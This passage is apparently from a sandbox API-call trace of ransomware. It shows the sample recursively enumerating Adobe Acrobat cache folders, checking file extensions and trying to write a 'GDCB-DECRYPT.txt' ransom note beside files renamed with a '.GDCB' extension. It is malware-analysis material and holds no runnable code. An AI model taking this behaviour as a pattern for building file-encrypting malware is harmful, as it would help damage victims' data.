Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0170.350] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.350] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.350] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.350] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.350] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 223 [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.350] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5f5ef0 [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.350] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 241 [0170.350] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.350] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 241 [0170.350] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.350] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 240 [0170.351] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 240 [0170.351] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 228 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.351] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 244 [0170.351] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 249 [0170.351] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 239 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 242 [0170.351] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 241 [0170.351] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.351] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 240 [0170.351] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.353] GetLastError () returned 0x50 [0170.353] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 223 [0170.353] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.353] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5f5c70 [0170.353] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.354] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 241 [0170.354] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 241 [0170.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.354] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 241 [0170.354] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 241 [0170.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.354] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 240 [0170.354] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 240 [0170.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.354] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 240 [0170.354] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 240 [0170.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0170.354] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.354] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.354] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.354] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.354] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 229 [0170.354] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.354] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5f5b30 [0170.355] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.355] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 242 [0170.355] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.355] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.355] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 242 [0170.355] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.355] lstrcatW (in: 